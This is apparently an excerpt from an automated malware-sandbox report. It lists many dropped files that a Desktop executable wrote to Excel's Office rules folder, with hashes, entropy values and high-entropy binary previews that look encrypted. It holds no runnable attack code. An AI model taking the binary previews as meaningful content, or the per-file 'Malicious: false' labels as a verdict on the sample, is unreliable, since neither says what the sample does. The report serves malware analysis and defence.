Size (bytes):	752
Entropy (8bit):	7.754503798427502
Encrypted:	false
SSDEEP:	12:yF0FCkHOTG/N7EExiNOF8039peMBQRs4bWRBsmiilaahV1WSUdNcii9a:HF1F7EKAR28MBcbWsmiilaaT2bD
MD5:	72253F8DB61259BD22494A43CF74BC61
SHA1:	3F52CB2C1C7BD5B485147FFBB1E515807FA064EB
SHA-256:	3ED144D3489457D76D9EDD8BFC5AED203F9F24DF0037248AFA6A495533CC69B9
SHA-512:	DDBE4F628EB3A3BED6623BCD45FA5A21002DD23AA308080F3FAFD5208B02CDBC0F51255C32822100E764ED543E360258E7019465E8045EA786647279CD6DC97C
Malicious:	false
Preview:	<?xml..5.P....s4.!.... "R[.Z.\.M4C.mo0...j....Lp.J..1.iE.$......T.....',vY..j9.l.>.9..pz..,Zy.....J%..~/.?QS..B...4..[.\|...Q......_._ON...c......".Q.......g\.VQ@d.7%..v..@>!`.=.bf.....&.R..:.@`...Z..mdc.6,..[?...c..b......E..v..FS...%?.....0......M=2...S&+........?...(....so..$...o'....67-..aE......bV....kLU?._j...q.IJ......vfl{n...U.G.r/.M...A.}#io.....j..Wejh...c".9J.1.....h..Hv..ky".k..'k=6f..2.5.v4..8..O..-.u....k..<.[.]~9.....H:..8...`..J..T.o....3..he.d.\|...PY.u....)..z;.B..TH3w.P...)^66...4a%...........$.. ......Z....B.....V......na.]..d.....(.....hq....L.....C...k...>D..t.>..Z.r..%.axn...v......N....,..*.@<......o.5.l....sM..v..,.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.754862401525286
Encrypted:	false
SSDEEP:	24:2MnPmcFm2mUULQh6fIrtgmpKG4g8thC2bD:2MnPmc+8hUq5h8vZD
MD5:	A3839296E32DF3D343D8A68C779CF434
SHA1:	FC52B2028BE969E6EA2EF9DE1AFAAFBEAABCD104
SHA-256:	BF47C1D986942E488BD3B383FC897E70F100C10116C4713DF9875B8480DFFD98
SHA-512:	366D817949022C0C3563A00645BAE6A126010968A900536F960DFEA91B31EDCE5BCF7102D7903496E49AD6AD63370CEA962BE80F22386F6C3DD0672E175BBC09
Malicious:	false
Preview:	<?xml..H..y.[..o...Y...h.W....e......1.mZ.7.\|.T.2..........@0..d<}.Qk.....Z.l.........o.d.7gw.jH....*.[u3.=}9.e4._Ue.#:.^.MO....o.0.. ..._...Q....:O...Y.m.JWzJ...'.....N..2......z#...f........hh.."u&.?Y.......%..!.iF.1`.....PG...%.K..j..K<1..;...@n.S./.ShJ......V...-.o.{....~....DB6G..#W..s(].MU...._p...9...bS.B..7.c.M.f.r....-q...d.>.xH...Q8.%.^...h......]B..."..u..v......V...Z........1H.=\|]....Yk.6..H.!c.<.+.vav.;.....e......[.......&.h....Ie...0E.......Q.fd8H........u.8eCJ.........a.JT....C........i..i...].)...@.O ek}}c.]$.}RT.......;.7..k..\|.uK)..{..v.7........O.C.....Y.w...q=S..M./.\..k.....w.Y.H....ga......f..D8.[./...-.....sr&o....M.%.)."b....X...#.\|.d....=;....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.7183306256531115
Encrypted:	false
SSDEEP:	12:+ghfOgLYCVw2gYzYyG6pJGtJwcR418eEx+seBvXgq6d+IW9AKKkqp/u3HSUdNciD:POg98Y8F6l8xWXgq2PKKiy2bD
MD5:	AF21DBD87175E4B6D3F66ED589BF179B
SHA1:	394A8A266CF0968DFD3727097CA6099E1FF1D390
SHA-256:	D2DB86596C9C43BBD5F52A88A848BF990CD39F6BC04DFEB632CA7D1B1998EF05
SHA-512:	F571D03B00D1B91E6804725D50B9B39B930309C18D8FFC0EF067EBA397D3C7A5457EC394860F752000465F8A2FE6067B42131B3BF115B197ECF01CF7A50DA776
Malicious:	false
Preview:	<?xmlZ.M.y......SdR....<.>....U...Q.(J.....H.w...D..v.......O...c=...\|..QY..J `...w..e...R.R.....?..."....hL.'..n...4/.YX....n^.(.\O>.I..<...].Hy... ..[.0.]<.\.U.v..!W..2..&.Y..{.. ..9'.D.._....~qbA..h^.LT.ip.bOrG.."!QW,.N...\.N..6.Z..\|..#. .......Jy .#a4,J..R...;A.@.1.!i.D...T8F.;...t...7..Ekb;...MA.G..l..?..._.....8:NUl....>.z9..l.....)Q.a.g.R...y.?...A...\=IN4:...d00..V..Vt.e?9.l.uY...[<...!.,....u.....y/...c...Oig=..mP.E.;.o......s.g..8;...>......Kr.).Q...<)...!..Bs......}.n%..x.......n<.N.QSh.Q0.E.w.r..sb[.....s...%.U..yoY.5r...!;.......:...C~.....l.@X.*..<[K...X.a.e......@.M}...;...osX.~.0.......6.1.1BX.c"....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.737620631187276
Encrypted:	false
SSDEEP:	12:/f/oA/8x5bQMn3/hb2AdeWFNVIW/WMLeCM4RnDcuCMKnV7fTmmJRWR9bNZZoSUdV:7O5bQMvhb2jgzNoEDcLp/JRw9bNZF2bD
MD5:	75A5B4288D06C4E701B4F5CE2E7AA2A8
SHA1:	3D9FA8F0D6711BF86BBEFECA0520190AF37AE913
SHA-256:	5007CB41810F4C5E65673BCDF6E035E3CFE597E2897FE3E8522EC9B887E6E60F
SHA-512:	A0B832281081787D38452E98346EBD4E046BE3149615FADD32AFBA72042D4BE8E4DDC0D472B7D6CB5BA00677711A007D6ED20FE6FEEB8A0F292D48FD0F52F064
Malicious:	false
Preview:	<?xml6.H(...V..j....Y.c;..[.4I<W.......u...Nx..........Hp..e.7.....-h.Y..O./L2...%_.gG...Rx...@./..\|...@..Wf..'....GU.r.....fN..\|.yb.3....}.QQ..m.2....q...8.2....Z.."`z6x2.r.A.+Z..pe.Sb.Z...g....xn..D..<]y../.XC.$._e.k=.FS8k.T[q.q..X1f.?]...>...<.s.....6-...E........U..>.W.....Be=._....\U.>M.k7t.t..[....5...4{.O...%...\|S...A.`(.A..w.)"l9...U....Z.Z.....N1.=-.m...]'..0..;.=./x..O......2F....$7CU.~I62.\|0...b.)..W9.v+EJ.Z0di....?.y.......469.U...<w..'.m..$..._.a....u....C..'..n....V]#.h..og.00.9.Ft......,.G..Vv.....O../t..5.Wgd.=Iz...G....^.l......:...c..`.t.]....@!.O...Y.Lc..y.GZO.xq..J.y{.A....#..+L..3.l7w^...H.. ..k?&.K..W...t.d..........f.A..#i@..\=_!$.$.O9.. -...V.p.....H.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.707280103743958
Encrypted:	false
SSDEEP:	12:F27hT8OjVmz0C5KKzR0JAMQ/ZuyBZlW3aTWUq7UPLxmWWUCb0R6crqPSUdNcii9a:SJjVmz0C5KgH/QcCSFM2x1Wb5WR2bD
MD5:	E4256AC86DA9B9D7135E0CE867463EBA
SHA1:	6542F181AAF16AD01ABA444F518013F55ABC5A39
SHA-256:	50B331CBDEADE8D4E24B22EC9B0E74B94616F271DC16AAAE44A179D1DFEFD171
SHA-512:	BFDFB213A1E068EE2A296B1114984B6464A0C743DFDAC63A47A05C13F22D43DB90461228402A40E6CD2EE71F83810ED5FAD9D0F60EB6DC63B6485C2A5DA3267D
Malicious:	false
Preview:	<?xmlB.H.B......\M.L...U.;s.W%$M............u....=...7....c.z....Y..?.U.P..P....B......f..}....w^.\|....M.....W7..5.v...G;=.f..O. if...}kp..7S.\|.O..0hJS.s...`.."....(...\...8q.7%5....ke0.x.^...d.S......h..>.zg.25....~7>...&c......)f.0.p....^00........I.F..b......wl?P.I......2...d{Q.B.X.A.:d....(...sg.<..=T..`..m(...~(.F.........i.!..<.._......d.!`.....(P..L...g.......e........~..].~x........#....../....U35z;.3.]..@p...c.t.r...{..#.2...Q.3...F.$.)5.i..v.E.XW._..]...4uu..^.b.q..%.4..)..0=qd....$;.._.P....A.4_4v'.\..T.z.q...>..u"..jOyDw.-.....L.]...M....].4......c..AV.......gn.)...?w....Q.\..m..X...._.\|%..j........l.HK.B.(...{r.DU..pL.).mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.723935616317976
Encrypted:	false
SSDEEP:	24:XbX5k4n4a+/V6GQniJG66V7u/qp2qNXzBpakCwYr2bD:XbX64n4a+96Ho0uiLzBpUwjD
MD5:	1AA6E9B840B10653DA95E0A03DB84EFD
SHA1:	48B1C766DE3092CB1899899D85788BFFECF8F3CB
SHA-256:	2B807BB519C87D0566BB0EFC98C0D15C7075F0518D2DAE5896F4A368A8092CF5
SHA-512:	BEBFBF0AE2EEE5A646DBC9C49DD3CEDFE9DF1ACC0979EDF97B97740AFAF46C1CB21CDCFE96A80EE9D863E8BEE9E3537B99152FF1EA855169AC306BF3F96354CF
Malicious:	false
Preview:	<?xml@..\|...j.,.]...B\|.....d7.OB'..ew.O..7#Im.z.e.[}......G..G1.HW8.G.R6..p....E........ft....P8.u?.mi.sXTyR".._..). ....r.nG.QiR..o..F.....&.h.M.......d..{<...V,............0'.Z.m........].....T..qvGd3.p@......g..,..Z.D.....yM....f....N.z.#.....F..TA..S..&}n5..f...5.6j.v-..5...% ..K.0.c.H8..S...r.fJ,..Z...[q.......1.8..Rc2./...D%........V.&.d..,....8....m.....?........LE..a..........\.h[X.{....yWj.G..M..H.u..........,.N$.B...K.+G.x.U\.`.....B.[........^.7.....k.OV ..J.'.%.......X.vS...IO3.9.%O'.9.>.$....T...T..%..yj.~.....?4..u>>g,...sX\./<....a..mp56.K..w...i.'.P].3...'.....C.&8J7.&.6...A...\|.........l.....<&...E..}......F..8./t.m./9z.....q..bo.M.%."v.Xb.l.@.W.)..PF...-....hX.C..O%.8..i..g.\d.1.J..8..\|..OmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.715375378017468
Encrypted:	false
SSDEEP:	12:DT2ncnac0bbw276u3w32jaAMcSEQ05BQIJUUfjmXxk3pYvoOmqWSUdNcii9a:32cazbZ764nSE/BQ0UUaXiZ3D42bD
MD5:	9F5F4BF96C295B56E3F482FE98AF4E0F
SHA1:	421160DB254270312C185366E6F2FE4F746CC110
SHA-256:	6AB55D2C9E4AD7B97326FB8BBAFD5FA9BB55906219934CEE2AEC41C42CFB0250
SHA-512:	D55333DB4F292D9E049A5739EDE53C5F097283A3B59D6EF788334263354428B9E229FC497B0FB661F6376AD52C176F99E2377FBDD5722CC180803F91A4FAE4F3
Malicious:	false
Preview:	<?xml.c...e6..s.lI..O..(..........8..2.IWTA.\|..~...J..i._...P..'..J..M.A.[...n..[....J.....[ECA....j...lw1..+....Z.@lS.3.Da.i..M..O~&...$.Y....6.v.V.ePP.rb.T.A...0..{.x.8\m.......lN3%..JWF.OM...7....R...v....m.k.d=...q.m..H...y.....K..Z.jRF,..........12u.w.a8.^.g....:..y..f..nB......=Ua/v.Qu.....yKV"kQS..x..g..f.S:....4....G.......pa(...v.......u&...ie..q$..[.bB7.7....O.TG....8.3....i..:.....Y.r.....:"....B..<...a..9k.WG..3....&E....g...V%,R.@_.....;.....wzM.B^.Q&..$.G..e.+.bh...?6......<.2.>s...i..!....~.-.U.lW...B..DD).j.v..m.0.........S:..F..T...).mo.E.o..T......-dehY...2..J7.....N...#..[8j..<....C...F..C..B,.1.p.....].mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.762816062441822
Encrypted:	false
SSDEEP:	24:h0O3o8qInN1i2T3xmLeJ7OdSRNe2/1uztX2bD:iO4xD2T3ILG6dSRhcztUD
MD5:	C7D171C8517122A2436425C2B5BA587B
SHA1:	161A085E315FCCEDDEEFFCE5D1DA49D78F82BD34
SHA-256:	7465BCFC14CD9B04112C9A65C6D7926167F7E7C80BA648AE5B20FB403531DC7D
SHA-512:	F5F431F9D0EA8F3AC75581B532208781996E21CC304118BC236B1219E490C92B3DF0BA3E727E26D242C33FA2E34D7D2C808707950B9D3C916634A752ACC6C527
Malicious:	false
Preview:	<?xml....z.yf...q.....4rC..3...k.Ds.B...?!>...`........8.6B..F.....a..2.-.T..au)..O!i..o......K...P..\...B....A.m.{\|/.\|.E.3=..)q.J..f.j....I.s...+.0....'.".x...].....u.......$....}...L7...o.^.$y..IS.]..i...Z._.F.S.>.E.mz;R.....Q.1/..to..q.i.h....~.o........;6.nm..~_....?.n..%..E....]9J.3....L#..R8XTm....D.`l..a..=Ymu...e..".....f....(1..Y/?.....'H.4..q...5...\s...Y.R\..\|....?.......Da..$.a...(j...6..:>......y.g..?..Y....).q............&..j9....&,H.s...CMJnu...z..... ../....W....#..:...........x.......n....9....K.~....[/..m..j......0....>.{.^r..9.;..,....t.".......I.GG...`...(M....f....V..\|....T......~....k....o#.7o......Z.....0..Gm...g..oWl._........W.....gn..B..(..1..Fv..J.K..=A>.....a.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.730022872592689
Encrypted:	false
SSDEEP:	12:Yjcw9qtN1MYM+UhWSLWSzcJmeSMxIW0ULzrQ74CpcBzUDEEUykfQTzSUdNcii9a:Yjcw9w1MYMJhWSLWSzccMl03K+LUFI+w
MD5:	81AC869F56709996DEB12FD96D7EA43C
SHA1:	AE9FD08C99A8965D3F5BE0148BC08D42573146EE
SHA-256:	0399FC6A539C46C0990401FE17295B5D0F7C98EA4088EB1A3C00B33411FDDEA0
SHA-512:	BB9C3C7A732D58703B0A73FB85729E86FE724541E73F05DBF1954BEE3C2F555D1A50A5A1A396697CB251D70E1D554672534D7A9A38A97A247639B190B2D7D96D
Malicious:	false
Preview:	<?xmle..R..,$..@W.E.BaR..@h\|f..W..p_j.1....[..k#...=N.A^F.........FO.%..g.i.d.p.L4...Z......PTM...d.`D.:.h...\|...,..V...CDR.n.2.x".H'.r5..v.0vh..^.S...A..W.....GA.u...^\|..p.Q..L..%....x.....X.U..O.,z>._t.1u"4./.a.3.nJ...e....."U...f.....p..=.a.....t.3...8.....$h~q.2..{.5.>.!...,..-..j..-.`.p}...].....6...l.q....03BNa......$...d.c .\|y.`.....$...,.L..t.{.c...I..Y.L..v\|Wo.]g.!.W..*=&[.&7...p....B......&..4...{l}........:..$b.J..p6....t.+.9....F...,.~V.}..Y1..Fk...{.5.yz/#....:..}.n.]..?T.._Nj.]....O......)\|.........B..q...Y...$........1..s.t.\|^.>...nz.\..<.k..]<BR.9Z.~.....L.....aP..A#;..meE.F.M...0.,2;~.....Rt..LK$z..(.<..2e.....>H.m2..o$mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.743233986764579
Encrypted:	false
SSDEEP:	24:s9fnRYgvJzsEUTTycWvfgNK9EyJcda6br5TjnY2bD:IPRtJsEg+cWUK9zsXLD
MD5:	7DAA5F2054F7127BFDD8CAFCD2128F90
SHA1:	4E9C13E1931A7AD8D5D7644E1AC83E7612BA763A
SHA-256:	F2D5BC2D1C934563D86856E388EBA4C62C59C2C50DEA3ABC344665F95EF1FE46
SHA-512:	904337F0E91E54EDF53458D3C9A030038A92E1ACCC0CA58315D7DDC9F96B436D537232868F0F896A0A5BC1E0084448A7275CE78E7A0357E1D53AAE5198AF723D
Malicious:	false
Preview:	<?xml..=c.#.....0-3%.+QR....x.....u,V..qY..8zI>.@.....A.:d....4...D...mF....T-..._....:...o....m..9J..8.%..R.s.!....D:.`...P.+.a.w.M....C>.K...;...L$...K$....w0.hxp\|...b.C.G.4.<.7..k.7).$.._....SH,..I2 ...qMk>.f-....I.:....U..%K7.....<........dx1.8.z..m....a...>.D...00......T..Q.&.....7...j.$...D.........s....p.e..H.0..I..<..Ug.`....uz..z7B.. +......Q..Q1...t..P.F.,<Z...x.S.Gc..Z..Q,2..=...8.i;.@...f7'.4.]........4-j..i.....u.c..&......Jf.`..:'.J..aG.'D.=...GP....+.AF.........<..."0D.49.s...2.....S..v.}..C.>.-.?..b..2@.h.=.@.....-...p!,.\....1...,...N..0.{..GN.t....&.L..WX.8K....&..9......q+&U.\|........?m...r.c.c...l..z`..$..e....4.m.M.N...y'8..59..Ib.b=..t...7.pV.R...Y.....@....7......y.F$..\|.....5..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.723615302022476
Encrypted:	false
SSDEEP:	12:nvcaTlP7T+raeo6GpgYC5FoJ7OcHtU2f7D/7cDeVoZqizCHjN8yPGZd8yXs1tcBh:nvN3+rJwmF877n7D4eVogiz+KvfXsDwh
MD5:	56BDA3F0A97A87C88AD7864E91F88049
SHA1:	D2329C0D650A1B9E6E169CDA6EA2EBB8EAD3DBAA
SHA-256:	FFC0F816D423CCFCF3F595F9BF30A301EDB328DBD00227BE0250DAA0B0445D96
SHA-512:	97303BD8BA85F71565F16AAB3E6E236B7791008A5B2250FABEBACF66F03B229AB69D6BFA0750D9927B53C8BA985D095E817FD4EE55715A5A48A8E009FF3EA2D9
Malicious:	false
Preview:	<?xml.,...}.P..=.....W...~X.f.P..u."...C.+..."G\|M..x1.$o...0..N..P....Z0..P..7....v.#a..L.D.`2.Lf(.G?8s6.G..%..K..j....1.w\.......!.d.,..Tm.8....:R..E3..a.A4.%NJ.F..../......B..z......V.34.IW....H'.=@....u......[.....=....& .....%W}...9J..9....E.........Z..r.~.u.........%s.].qQ........k..:4h..$.W.4...'3........9.I.6.D.-.[.<.h&.......U."},....w.!.....?I.J......s1........[{.5se..Q(.\zI.....\|.../.....h.........B.....Z..#..$.gjw..22Za.x...4..ZP........Mt.w.g.>.....xj~........aH.s..!Y....7?J%..\|VM...s.......;..A..C$....ZY..-...s,.O+L.T..g...6.#.;u,G...I.......q.+....+,..U.'3e.QYm.{.........m\...........=(..+uIv.....+d..'..9d.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.760031643903337
Encrypted:	false
SSDEEP:	12:ycIIHympxwx0PrAT6x2vSYEkhFx0HpP/RqMEu7daAlevdxACGHVXRrSaFwtYSUdV:IWxwaPrNx08HpkqrMvdxErFwt/2bD
MD5:	FE90D66E42AFD013BB612D403D3F5D3C
SHA1:	0770D63375A3DE43D18396D9C90E4BD43F231287
SHA-256:	EB26932F1C16D74A56C669F133ACEEACA94EBCC24B711165911852497FDDD78D
SHA-512:	8BCF6505943C24DFA12A448B96C23BF0B28823EEF3414DD04B8F632E9E331F34BD629BB0E62E445CF1BD44618999FA12EEA28FADB29ACC37F881785D62E43560
Malicious:	false
Preview:	<?xmlv.9.w.T...r7~.&.%=Y:....U....q.j.\|.@.b~..N.J`u.j..T.........&..f.T.....P`..<..........^g.....pC_E..{0n.,..Nu.Z.A&.....9.......$8U.....a.L$!;..(.....v...SQ..w(.J..:...K.^Y.$ ....Y..,..v.....Jg.u.\...[....Cwo{.YJ......\|I.....#k2X0.o......L...R..W].D.&..k...}I.2.hip..].l..e.<..N.+5:&6.8D..P..........s..M~wx...<.SL....e.v.......?.].z1.y.61......a....GlH..%.2..".c.v.K..Yz...8X5.4C....:...........jL....S.X....w?....q...(.............zIM..7.S.{{.n.^n....L..6o.u...-R....~r.=....e.e]...$.}.3^..V.?a!..E.S..I....I..;>9Lj.X@.g..m..r.".....B...S..t?..S...].Lv....)!._..t..:.`..j,(.f[N...j..6[.vT.R0.8+`...bFl)...}[..5.....~7...4..d4.Ok....<.4.\....z..S.n.c......f..Bl..S.>......SO....q.OrZ..y.d.#.>.BmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.66269189018782
Encrypted:	false
SSDEEP:	12:mG/x6ra4haElQbZvZQf20tz+03pt0SttLX9j7A1HJXLBtb1pFa96ALDe4OuXLvpS:myQtAEmB2dpt0Sn8ftSHLdx2bD
MD5:	8EAD2B487928711791D9F176C2C02051
SHA1:	33DD048DD4558AED1304F4D1B9316001539FD54B
SHA-256:	BBA30063002BD134E36DDD8D00E06AFC0D0FAA26CF25EB888A9C9834773319FF
SHA-512:	6A592E5C79B49EE26BC16109B85DB8EE30336EE08803CDE269C3279356BA7F65148B19F01EC8283860BCDB5712C10DF29291B005653C306A4D6F48046D43699A
Malicious:	false
Preview:	<?xml...@.UG'..Al..>1...[...\..hV.[Zl. .TRZ.xc.(Q{..]kW..`.M....!....2;.0..G3h9..........}.$........~.%..........H.1..QFUjC../.R..0.x.~`.j......-{J... ...E.P..Ho..#".1...n<7.e........GI....Rh8.c..X..@.U.v..N...U....c.z....[v...N..?S...Rq.C.t..`.0x.h....R.....<..,..`.o...V.1C....nySq..ux=......4,...A....._HH#..4Y.w4wHG2.Q..JU.q.~..y;...D&HF..)..Ew<3...6]Xp.V...f.9<,..}.I.I...Q.....H".a..l<vQ.......&.1.BA.\|-.k......<.~B......./....9zu.....J.Q9+...G.J.)..L)d4'w.R=...A.@a$P..1.........Vn.....@S....m..........g....M.Db.t...yj..W..H..\|.\..%..I..........Lu.....C.kc....=...?X....(....}@j..,'....'....B.!@..../f...D.........3......lN..AV.`8z.D4....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.7487804238699285
Encrypted:	false
SSDEEP:	24:ouoE9Z874loEVg0j9VAdw06oDtZOjwtmuXo2bD:ouoEs7AmM6bwjarD
MD5:	C20022B88DA0BA6EA48D467B529A4AA1
SHA1:	40881A084F091C20D6C17E64406E95B660E9DF3C
SHA-256:	4C4FED394E9475B0C77FD4A082037E468B9D8256650623AB812FA716A6EAAB45
SHA-512:	709FB00AB8FC678E98416F41993EE38176D5719732C846BD9EEDC062CB19EEE5D9DC3EDE744912A7C9770CC7F68FEB8D3596FF45FCE0B0B5C4A592E1782B0E78
Malicious:	false
Preview:	<?xmlk\=%...vQ.H.B...!..W@.}3.....B......Q.......R+.>.....i..b{L.p[Y...}Y.....D..n.g.r!44..7...m.......fW.x.e.L.. ;...p.>...4.?M.R./. .....m.w....OK.d.>.,.X.J..!! .....x...L].D..sz.Z.f{..K.=,Y...<..!.@A.q>...X...nF.-.-....e....7D.`JZ(yi`.!.......4..:....a.:C4k.T.."%ML..........).1......z..\|0.@m....o."F......@.......a......).k./.Hf...1i..Hor.<..D...`.a.1R..#!89..=+.Ix....df..X.4.........s...V.:...;F.4.H.....(@t...)....H.}]^......2+..?.o.V7.ME...Ii=......f...........,..q\....>.bv..l.....J..rrE......r.p...".....R..EI'../...$.S..lk.f..=..Es.N.L.../......[.]nA.FFtU..6..Gk.b..E..:a.A....;...}F..wz'.a#D..y..]P.t.8`.......S.U.Z.y..R.....3O%.A...4..2..d...CmS...R./7......*..."^...".=,.]t...@px.5'...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.720484426114284
Encrypted:	false
SSDEEP:	12:M1fAfAbM2fys6btOTTkcTh+qtSkbNdL0LLqY3IdWM+n+8OCHRGgp0NjRFSUdNciD:MCfwM2asmOTTdTh+sZdL0LLdYE4LMG5r
MD5:	F9827FA50535AFFDF7CDA1D54F317097
SHA1:	7FFE694BE5526528C2BF0DC806721702A412DB9C
SHA-256:	FF357F12D4AE8277E598F540B097A9D1AF068AF94DB15B3BABD1177DC8C610C0
SHA-512:	863F590B09EB07473D80C4F5D9A1EF28D23D73292F01E7A96AFE92FC49842B329701F729FDFC4BE1D2003F96C32369830D6C66F4B7AA22BFA2571E864C6D1D3D
Malicious:	false
Preview:	<?xml. ......\|%r..".........i.......p5#V.n..y..l..d..Q.l..'...a.>)....J"...\..S...su#9m.x.p.w."...V....w,q{...1..~...pX.F4..04Wk^>..n....."..7.R.7.L.....~....7V..j.2X\...#1.R@8..wO.u.9f.[..4.O..?[.R...M.`...M..O.\|......7.R..#...i0..B...,'MI..C......G...{P.h[...A..=...\....\|ZAS....GF....,.i.....f+..T..oual.i1q..D..c.aK<A..u*..j....y..EM.....'m&...".R\.].../..y..'.^... .H8.;.29..h..]..8r...S...}7SJ .y...?x.l....e........spgeb>:..m;.e)._V6.r.n..Q.?...O.?.....;..........S@.vs.......T..!,.Q....>.u..!.z..JY.9.8..r....\T.....s.............Z?W..!.h.a....Q?..r.'......S.8.A....j.(q..Y[...f.D\.m."..).A....]LP.v....7..{P3a..'.....9X0T.})..b.=.S=b.#..mmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.728117761240601
Encrypted:	false
SSDEEP:	24:xjTfKziZJWer+wWGe5XkBD8+qFU7lZeQylM2bD:xjTfKWZYFk58+qF6sQSfD
MD5:	8A65359885886A09462AEF75E00FD2D4
SHA1:	782D7EE582F65FC30D8E3AB0E8465635899AA53E
SHA-256:	6D261BA86B25943F00BDFBCB0999C945E4343A74FDEC8FC4C6E66B7677D74E10
SHA-512:	5FA623EDEA08B342EF3C3EA0399990027FE10F444010139BE450746005572DB7536D4CCA02A036A2DD3C6461415A3BEB92CB357CC922F20501E0F72D6C63129F
Malicious:	false
